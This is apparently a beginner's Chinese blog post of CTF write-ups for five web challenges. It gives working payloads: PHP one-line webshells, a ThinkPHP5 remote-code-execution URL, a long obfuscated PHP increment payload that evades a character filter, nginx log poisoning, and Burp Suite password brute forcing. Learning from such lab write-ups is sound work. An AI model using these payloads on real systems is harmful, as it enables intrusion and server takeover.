NSSCTF刷题记录

本人小白,站在小白的视角上写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,这样写确实有些麻烦,但是很助于培养思考题目的逻辑思维,有些地方可能理解说辞不是特别到位,如果有问题就麻烦各位大佬师傅指点~

[GKCTF 2021]easycms

下面提示了使用的cms和cms版本【蝉知7.7】

从题目整体框架和cms版本可以大概猜到应该是模板漏洞

结合本身界面,点击基本上没反应,应该是静态网页。

搜一下这个版本的漏洞

由此知道蝉知7.7v存在RCE漏洞

且是以登入后台的形式。

后台一般是管理员才可以登入。

一般管理员后台后缀基本上都是url/admin,url/.admin,url/admin.php

这里也可以用御剑WEB目录扫描,或者是dirsearch去扫也可以。

然后得到了这个界面。

用户名一般是admin,由于考查的RCE,我一开始还以为密码处写命令。

这里密码我写的一开始是system('ls /')

笑死了,其实不是哈。

那么这里可能存在的方向有,RCE【试过了不是哈哈被自己蠢笑了】,SQL注入,弱密码登入。

不过有个细节点,这里的密码以小黑点形式呈现,大概率不是SQL注入,如果是SQL注入方向,那么这个密码的地方往往是可以看见写的是什么的,也算个小小的经验之谈。

这里可以用bp弱密码字典爆破,也可以随便猜密码试试看,比如123123,12345当作弱密码去登入尝试。

本题的密码是12345

我这里用我的字典去爆破看看。

字典基本上就一个txt文件。

这里我顺便借这道题展示一下爆破的用法。

步骤1:先开bp代理,网页里用户名admin【一般默认是admin,这里也可以用爆破爆出来,但一般90%都是admin,密码随便写一个】按照红色框里先点拦截禁用。

步骤2:按照蓝色框中所示点击登入

步骤3:得到拦截流量包后,点击右键【发送给Intruder】

步骤4:点击测试器,按照红框先点到【位置】按键,再按照另一个红框点击【清除】

这道题此类型只爆破一个,所以攻击类型为狙击手(Sniper)

步骤5:在password=(一串长码)最前和最后点击红框内容,得到如下效果

步骤6:在有效载荷中,先点击载入中,找到弱口令密码路径后点击打开。

步骤7:点击开始攻击

步骤8:在攻击列表找相应200即可,但是显然这道题没必要爆破,很多常见弱密码都可以,因为这里响应基本上都是200,响应200就可以拿【有效载荷】的内容来直接登入。

其实这里不必这么麻烦,写爆破过程更多是为了帮助新手宝们更好理解题目。

然后进入管理员页面

先探索一下,把可以点击的都可看一下,看看有没有攻击口/漏洞口,既然说是命令执行漏洞,那么方向应该首先是找到可以插入木马的源代码or搜索的入口,这两者嫌疑最大。

搜索口找到

这里我搜索的内容是

system('ls /');
 

回显是

可能是可行路径之一,回显bad request,这可能是存在过滤。

但是我随便输入了一个 ddd 没有给出回显,显然这个搜索存在过滤

再看看其他途径

发现再设计-高级处-首页可以编辑码源,本来想写一句话木马

但是它告诉我要创建一个文件,但也意味着创建了文件就可以实行这个木马,从而拿flag。

那么这个时候,我们需要找到哪里可以上传文件/创建文件【它有明确文件后缀txt,,经验之谈告诉我应该是上传可能性更大】

上传口在一番探索下可以发现在【组件】里【素材库】,在点击【上传素材】,开始上传,随便上传一个txt文本看看。

编辑刚刚上传的文件,文件名称这里直接写刚刚报错的信息,“/var/www/html/system/tmp/tdjr.txt”好像是不太行的,txt后缀会重复,所以不用写txt后缀,同时要在前面加上很多个【../】目录穿越。

这里附上目录穿越漏洞的理解:https://www.cnblogs.com/chm0d/p/17664249.html

目录穿越的作用大体是:达到任意文件读取/下载,任意文件删除,或将任意文件上传到指定目录等。

然后再在设计-高级-首页 的码源里插入恶意木马。

<?php eval($_POST['cmd']);?>

点击保存,然后这次会显示保存成功。

回到主页,发现主页变成了刚刚在【主页】里编辑的代码。表明木马插入成功。

然后正常RCE即可。

cmd=system('tac /flag');   //拿flag

因为写了一句话木马,这里我个人觉得用hackbar插件会更方便,当然用蚁剑连接拿flag也是ok的。看个人。

[SWPUCTF 2022 新生赛]ez_rce

开题

应该是cve模板,信息搜集一下thinkphp5漏洞。

属于漏洞框架,接触的不多。

直接找POC链打

payload:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

#查看根目录
#这里的"system"和"ls /" 可以被换掉成其他命令,比如phpinfo

但是这里tac /flag是没用的

应该是放其他地方了。注意到根目录下有个nss。之后正常命令执行即可。

flag拿了,但注意这里绕了两个/flag,一开始从nss/ctf/flag没找到还以为哪里出错了。

也可以用github上下载的工具(RexHa)直接一把嗦

[SWPUCTF 2021 新生赛]hardrce_3

先代码审计一波。

关键在执行

 eval($wllm);

$blacklist = [' ','\^','\~','\|']; if(preg_match('/[a-zA-Z0-9]/is',$wllm)) 可知黑名单把取反,异或,字母均ban了。

这种情况下远程RCE只剩自增/文件上传。

文件上传没有入口传(扫描了没有类似/admin的可疑url)。故考虑自增。

这里附上个人的自增理解:

<?php
$_=[].'';         //空数组[]→字符串
$___=$_[$__];     //$__没有定义→默认0。$_在这里引申为字符串。故综合理解$___可以为 字符串(0)→ 'A'
$__=$___;         //这个时候$__为'A'
$_=$__;          //此时$_为'A'
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__;
                  //此时$_表示'S';
$___.= $__;      //把'S'加到'A'后面去→得到'AS'
$___.= $__;      //再次将$__追加到$___后面,现在$___的值为'ASS'
//同理一路下去得到payload:Assert($_POST[_]);

payload:

//等价于Assert($_POST[_]);
​
//GET传参
/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

个人觉得这个很多题都能直接用。

//post
​
_=phpinfo();

由于题目在标签处打了disable_function。所以直接看下被ban了哪些函数

但是这里混一块了,复制出来看。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

过滤了system,exec,passthru等命令执行函数,但是没有过滤 file_put_contents函数。

关于file_put_contents函数理解

payload:【POST传】

_=file_put_contents('1.php','<?php eval($_POST[6]);?>')

一开始还想这么做:

忘记system函数被ban了

蚁剑走一把

按照正常来说这步一般可以了,但是

出现了没有权限的情况,看了其他师傅的wp,发现也有这个共同情况,不知道为什么。

[HNCTF 2022 WEEK2]easy_include

开题,本人小白,根据目前的知识面结合if语句内的data/php大概可以确定漏洞方向是文件包含,常见伪协议php,data被ban。

结合提示,我们可以先搜索 文件包含漏洞 关键词。

可以搜到一些相关文章。

这道题没有上传口,且结合BP拦截再发包得到的中间件Nginx

再搜索 文件包含Nginx 关键词 得到

则确定题解方向是nginx日志写shell

payload:

/?file=/var/log/nginx/access.log

确定方向可行。

同时由上图可知回显基本上体现在User-Agent处

因此把木马/RCE写在User-Agent处即可。

但是不知道为什么BP发包和Hackbar网页发包均出现回显错误。

但看其他师傅相同解法是没出问题的。

方法可行但不知道为什么拿不到flag,看了NSS靶场这道题底下的其他评论发现也存在这个问题。如果是我有问题,也麻烦各位师傅指出~

[GDOUCTF 2023]<ez_ze>

开题输1 回显得

应该存在SSTI。

解法1:fenjing【焚靖】一把嗦。

而且包括挺早之前我花了很多时间下载fenjing,左右琢磨了好几个小时,不知道为什么总出现路径问题的错误,去github上原网站上研究半天还是没用。

去搜 得到的答案基本上都围绕在把fenjing的路径和python38的路径在环境变量里去统一一下。

但是实际上统一后问题也没有得到解决

这里提供一个我实行成功了的示例代码:

pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple

看一下有没有安装成功

python -m fenjing

出现这个就是ok了。

然后我们拿这道题作为测试

python -m fenjing --scan '目标网站'

ok在扫了

这里写的是

>>ls /

在具体表单出现后直接抓取flag

>>cat /flag

得到flag。

个人觉得fenjing一把嗦会更快捷更方便一些。

关于fenjing的flask实现在我另一篇博客里有写。

链接在这里![SSTI自动化工具]Fenjing(焚靖)Windows下载报错及正确安装及实际CTF题目中运用-CSDN博客

  • 28
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值